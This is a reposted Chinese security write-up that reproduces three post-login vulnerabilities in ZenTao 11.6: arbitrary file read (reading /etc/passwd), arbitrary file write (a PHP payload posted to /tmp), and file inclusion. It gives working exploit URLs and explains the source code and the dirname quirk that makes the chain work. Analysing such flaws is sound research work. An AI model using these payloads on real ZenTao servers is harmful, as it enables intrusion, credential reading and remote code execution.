禪道11.6 后台多個漏洞復現分析


禪道11.6 后台多個漏洞復現分析

來自專輯:禪道11.6后台漏洞復現分析
原文鏈接:https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652478163&idx=1&sn=556973c8feab569d514d94d665cdab33&chksm=f2583960c52fb0762772faf71100252ec1d0842d507837e9b0a8ae3271c5eeddec514acf98d3&mpshare=1&scene=23&srcid=0723aZkVgoR09TQjHdVEpg60&sharer_sharetime=1595498372413&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd
 

聲明

由於傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。

雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用於商業目的。

前言

根據前一篇關於的分析文章,我們可以知道數據流向以及傳參結構。

 

No.1任意文件讀取

http://***.*.*.*/zentaopms11.6/www/api-getModel-file-parseCSV-fileName=/etc/passwd

 

通過這個payload結合我們上一篇文章我們可以快速的知道
這是使用一個api模塊,調用getModel方法,然后傳了三個參數為file、parseCSV、fileName。並且加載file模塊中的parseCSV的方法,傳參fileName
相當於是方法調用方法。
接下來我們找到api模塊的getModel方法,文件為/module/api/control.php

 

 


etModel方法傳入三個參數,為模塊名、方法名字、還有參數,分別payload中的對應file、parseCSV、fileName(原因在上一篇有提到)
通過第50行代碼,以file為模塊名、parseCSV為方法名去調用,文件名為/module/file/model.php

 

 

 

這里需要注意一個點就是如果讀取的文件是.txt、.php這種帶后綴的,會被/framework/base/router.class.php中的parsePathInfo方法過濾掉

 

 


可以成功讀取文件,對文件內容進行了處理過濾部分參數。

 

 


No.2任意文件寫入

http://***.*.*.*/zentaopms11.6/www//api-getModel-editor-save-filePath=/tmp/1234
POST:fileContent=<?php phpinfo();?>

同理,用api模塊的getModel方法去調用editor模塊的save方法,並傳入filePath參數

 

 


通過第50行代碼,調用editor模塊的save方法並傳入filePath參數,文件名為:/module/editor/model.php
第368行代碼提示有一個fileContent以post形式進行傳參
發現下述並未做有效過濾可以寫入任意代碼

 

 


然后構造參數進行傳參

 

 

發現成功寫入

 

 


No.3文件包含

http://***.***.**.***/zentaopms11.6/www/api-getModel-api-getMethod-filePath=/tmp/1/1

上述payload,用api模塊的getModel方法去調用api模塊的getMethod方法,並傳入filePath參數,文件名為:/module/api/model.php

 

 

在第18行,進入到了另外一個方法中

if(!class_exists($className)) helper::import($fileName);

進入到/framework/base/helper.class.php中的import方法中,在第195行被include包含執行代碼。
realpath函數是顯示出該目錄的絕對路徑

 

例子:

<?php
echo realpath('/tmp/test');
?>

輸出結果:

/private/tmp/test

 

這里有一個點,按照上一步我們寫入的/tmp/test 文件來看。我們這里包含/tmp/test就可以了。
但是實際上是報錯的

 

 

讀代碼發現上述代碼中

$fileName  = dirname($filePath);

dirname函數返回的是目錄名稱部分(不含文件名,默認最末級為文件名)

例子:

<?php
echo dirname("c:/testweb/home.php") . "\n";
echo dirname("/testweb/home.php") . "\n";
echo dirname("C:/test/home.php/"). "\n";
echo dirname("C:/tttt/home.php/1234") . "\n";
?>

  

輸出的結果對應為:

c:/testweb
/testweb
C:/test
C:/tttt/home.php

  

發現會把最后一級的內容刪除掉。所以我們在包含的時候需要在后面加一級

http://***.***.**.***/zentaopms11.6/www/api-getModel-api-getMethod-filePath=/tmp/test/1234

最終執行結果為

 

 


參考鏈接
https://wiki.0-sec.org/img/20200419/a0b1b1342fb144c6b65244138b32a44f.png
https://wiki.0-sec.org/img/20200419/8a59bdb34b6d4227b4572623cbf9c857.png

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM